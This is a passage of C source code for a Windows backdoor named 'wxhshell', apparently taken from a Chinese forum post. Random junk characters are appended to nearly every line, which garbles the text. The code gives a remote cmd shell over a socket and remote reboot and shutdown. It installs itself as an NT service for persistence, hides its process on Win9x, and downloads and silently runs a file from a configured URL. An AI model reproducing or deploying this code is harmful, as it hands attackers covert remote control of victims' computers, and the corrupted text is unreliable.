  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E}w5.1  
  } Z 5 .cfI[  
  else { {1UU `d  
[xfg6  
    switch(cmd[0]) { p `oB._ R  
  ,lCFe0>k!=  
  // 帮助 x=K'Jj  
  case '?': { a]V#mF |{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `mZ1!I-T  
    break; [G+@[9hn%  
  } 0ZL>-  
  // 安装 -{?xl*D  
  case 'i': { "{S4YA  
    if(Install()) *.$ov<E.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &j'k9C2p  
    else kMzDmgoxNg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~P!=fU)  
    break; Lo[;{A$u  
    } ='Oxy  
  // 卸载 (Ww SisC~  
  case 'r': { 4,)QV_?  
    if(Uninstall()) # NK{]H$fd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f e6Op  
    else D@{m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d`?EEO  
    break; us8ce+  
    } UK8k`;^KI  
  // 显示 wxhshell 所在路径 dj,lbUL  
  case 'p': { 7|J&fc5BP  
    char svExeFile[MAX_PATH]; i7\>uni  
    strcpy(svExeFile,"\n\r"); Sxy3cv53  
      strcat(svExeFile,ExeFile); (/> yfL]J  
        send(wsh,svExeFile,strlen(svExeFile),0); {c1wJ  
    break; Ym]rG 4  
    } !"08TCc<  
  // 重启 guy!/zQ>A  
  case 'b': { E[CvxVCx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vhm^<I-d  
    if(Boot(REBOOT)) sdewz(xskj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<0S@9~  
    else { +tlbO?  
    closesocket(wsh); RzB64  
    ExitThread(0); *:l$ud  
    } HW6Cz>WxOW  
    break; 8,CL>*A  
    } }ZwnG=7T?  
  // 关机 &t@ $]m(  
  case 'd': { eEmLl(Lb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jNIz:_c-~  
    if(Boot(SHUTDOWN)) !P6y_Frpe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ri9n.-xs  
    else { Eh`W J~  
    closesocket(wsh); at3YL[,[Z  
    ExitThread(0); #TP Y%  
    } G0r(xP?  
    break; ,5sv;  
    } wDh&S{N  
  // 获取shell w6B`_Z'f  
  case 's': { !wrAD"l*@  
    CmdShell(wsh); 9I|Q`j?p`  
    closesocket(wsh); {#{nU NW  
    ExitThread(0); ~vR<UQz  
    break; ;ZrFy=Iv  
  } 5kv]k?   
  // 退出 q 7+|U%!9  
  case 'x': { 6~k qU4lL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P_@ty~u  
    CloseIt(wsh); M?$tHA~OX  
    break; lFgE{; z@  
    } O#U_mgfzJ  
  // 离开 4vH.B)S-  
  case 'q': { 6>EoU-YX}l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :~,akX$  
    closesocket(wsh); ZQJh5.B  
    WSACleanup(); *41WZE  
    exit(1); ht5:kt`F  
    break; )T^aJ-Uf  
        } ~-(X\:z}  
  } tkix@Q!;\  
  } _..5G7%#%  
l?beqw:  
  // 提示信息 6tM@I`l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lU3Xd_v O  
} ui^v.YCMI  
  } *\wf(o>Q  
K;f=l5  
  return; ]"1\z>Hg  
} j)O8&[y=  
;77q~_g$  
// shell模块句柄 3dI(gm6  
int CmdShell(SOCKET sock)  PuU<  
{ Z~7}  
STARTUPINFO si; xWty2/!h  
ZeroMemory(&si,sizeof(si)); xm<sH!,j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uFi[50  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y\[GS2nTX  
PROCESS_INFORMATION ProcessInfo; '8Lc}-M4  
char cmdline[]="cmd"; p WKpc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &[}5yos r  
  return 0; YWa9|&m1  
} nHF  
Jc9^Hyqu&  
// 自身启动模式 $2*&\/;-E!  
int StartFromService(void) SB!m&;Tb  
{ 'P)[=+O?t  
typedef struct CQ%yki  
{ > qIZ  
  DWORD ExitStatus; C;!h4l7L  
  DWORD PebBaseAddress; P~*v}A  
  DWORD AffinityMask; <Xj ,>2m;  
  DWORD BasePriority; AqP\g k  
  ULONG UniqueProcessId; +&TcTu#.`  
  ULONG InheritedFromUniqueProcessId; }A_>J7w  
}   PROCESS_BASIC_INFORMATION; qfEB VS(  
cE]#23  
PROCNTQSIP NtQueryInformationProcess; E;x~[MA  
K,GX5c5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; evGUSol?:n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?"q S%EH  
_^0)T@  
  HANDLE             hProcess; s=|&NlO$  
  PROCESS_BASIC_INFORMATION pbi; 7wc{.~+  
zzBqb\Ky  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JYWc3o6  
  if(NULL == hInst ) return 0; ^-7{{/  
H~"XlP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / k8;k56  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y3wL EG%,:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /T2f~1R  
x?Oc<CQ-2  
  if (!NtQueryInformationProcess) return 0; ( G6N@>V(`  
TMQu'<?V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A&fh0E (t  
  if(!hProcess) return 0; c )o[3o7  
]^\+B4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $JXQn  
\it<]BN  
  CloseHandle(hProcess); ,o j\=2  
u~d&<_Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DK;/eZe  
if(hProcess==NULL) return 0; /waZ9  
[?`c>  
HMODULE hMod; '}wYSG-  
char procName[255]; tlFc+3  
unsigned long cbNeeded; IsCJdgG  
EMejvPnZO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {VE$i2nC8  
P X<,/6gz  
  CloseHandle(hProcess); Mky8qVQ2  
=1vVI Twl  
if(strstr(procName,"services")) return 1; // 以服务启动 _j2h3lCT  
!P26$US%P  
  return 0; // 注册表启动 rJm%qSZz  
} {n%U2LVL  
a?!Joi[  
// 主模块 NeyGIEP  
int StartWxhshell(LPSTR lpCmdLine) /`Lki>"  
{ W\<5'9LNb  
  SOCKET wsl; y0' "  
BOOL val=TRUE; w8g36v*+(u  
  int port=0;  0-+`{j  
  struct sockaddr_in door; Vkb&' rXw+  
pf`li]j'V  
  if(wscfg.ws_autoins) Install(); 2={ g'k(  
] H[FZY  
port=atoi(lpCmdLine); 4.dMNqU  
b\\?aR |  
if(port<=0) port=wscfg.ws_port; Ic/<jFZXM  
':w6 {b  
  WSADATA data; 2h6F j&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hTn }AsfLY  
[P{Xg:0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U%45qCU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8`qw1dF  
  door.sin_family = AF_INET; %GS)9{T&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Urx gKTry  
  door.sin_port = htons(port); &/, BFx"  
3)g1e=\i$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ec6{?\  
closesocket(wsl); %3VwCuE  
return 1; Rb~Kyy$  
} I|O~F e.  
N]yk<55  
  if(listen(wsl,2) == INVALID_SOCKET) { D_9/|:N:  
closesocket(wsl); M=N`&m\  
return 1; t@v>eb  
} "5jZS6A]  
  Wxhshell(wsl); si nG $=  
  WSACleanup(); nhCB ])u8l  
}u+R,@l/  
return 0; *G~c6B Z  
d*>M<6b-  
} z4J-qK~2  
a3lo;Cfp  
// 以NT服务方式启动 :({lXGc}4?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p-; ]O~^  
{ % e1vq  
DWORD   status = 0; $C)@GGY  
  DWORD   specificError = 0xfffffff; uX0wg  
cdIy[ 1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xSOL4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {@ , L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TPEZ"%=Hg  
  serviceStatus.dwWin32ExitCode     = 0; !Xj m h$F  
  serviceStatus.dwServiceSpecificExitCode = 0; rjR  
  serviceStatus.dwCheckPoint       = 0; {Ue6DK %  
  serviceStatus.dwWaitHint       = 0; "msg./iC  
kb7\qH!n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [bOy, ^@4  
  if (hServiceStatusHandle==0) return; >PGm}s_  
|_=jXf\TL  
status = GetLastError(); zPkg3H  
  if (status!=NO_ERROR) W'0wTZG  
{ oC[wYUDg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yu1xJgl  
    serviceStatus.dwCheckPoint       = 0; :6M0`V;L  
    serviceStatus.dwWaitHint       = 0; {G{@bUG]p  
    serviceStatus.dwWin32ExitCode     = status; *,n7&  
    serviceStatus.dwServiceSpecificExitCode = specificError; cq9Q7<&MF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1k/l7&n"  
    return; dna f>G3  
  } z!L0j +  
|XH3$;=*h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;5%&q6&a  
  serviceStatus.dwCheckPoint       = 0; UZAWh R  
  serviceStatus.dwWaitHint       = 0; f@/qW!o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X"1<G3m4  
} eO9nn9lql  
l9L;Tjj  
// 处理NT服务事件,比如:启动、停止 1VZ>*Tl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !eTS PM  
{ +`4}bc ,G  
switch(fdwControl) b{dzbmak  
{ OVh/t# On  
case SERVICE_CONTROL_STOP: ``E;!r="v  
  serviceStatus.dwWin32ExitCode = 0; fVN}7PH7+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $cy:G  
  serviceStatus.dwCheckPoint   = 0; =4%C?(\  
  serviceStatus.dwWaitHint     = 0; yED^/=\)}  
  { AeJM[fCMa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f%}+.e D  
  } E8dp  
  return; bT*4Qd4W  
case SERVICE_CONTROL_PAUSE: JWn{nJ$]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QJE- $ :  
  break; <V8i>LBlz  
case SERVICE_CONTROL_CONTINUE: }mGD`5[`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aKUr":z  
  break; T8(wzs  
case SERVICE_CONTROL_INTERROGATE: ^+wzm2i  
  break; y;>I'e  
}; 1*jL2P]D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :hr@>Y~r  
} k2WO*xa*  
~R8yj(  
// 标准应用程序主函数 @} Z/{Z[@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V$_0VN'+Z  
{ @ixX?N)V  
#<e7 Y0  
// 获取操作系统版本 Rj&7|z  
OsIsNt=GetOsVer(); bYgYP|@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %N  
H'`(|$:|  
  // 从命令行安装 mT>p:G  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zll^tF#  
zn x_p /V  
  // 下载执行文件 0X-2).n u  
if(wscfg.ws_downexe) { \O?B9_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ri;M7rg`.{  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zs{R O  
} Tz-cN  
iQIw]*h^  
if(!OsIsNt) { iL gt_@g  
// 如果时win9x,隐藏进程并且设置为注册表启动 {.OoOqq9  
HideProc(); (R}X( u  
StartWxhshell(lpCmdLine); yfW^wyDd2o  
} Mfr#IzNHN  
else Ny'v/+nQ  
  if(StartFromService()) c+{4C3z  
  // 以服务方式启动 K{ P#[X*5  
  StartServiceCtrlDispatcher(DispatchTable); y~=hM   
else i+Dgw  
  // 普通方式启动 cs M|VNE>  
  StartWxhshell(lpCmdLine); S}f<@-16P  
9"RfL7{  
return 0; rQm  
}
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只看该作者 1 发表于: 2006-10-10
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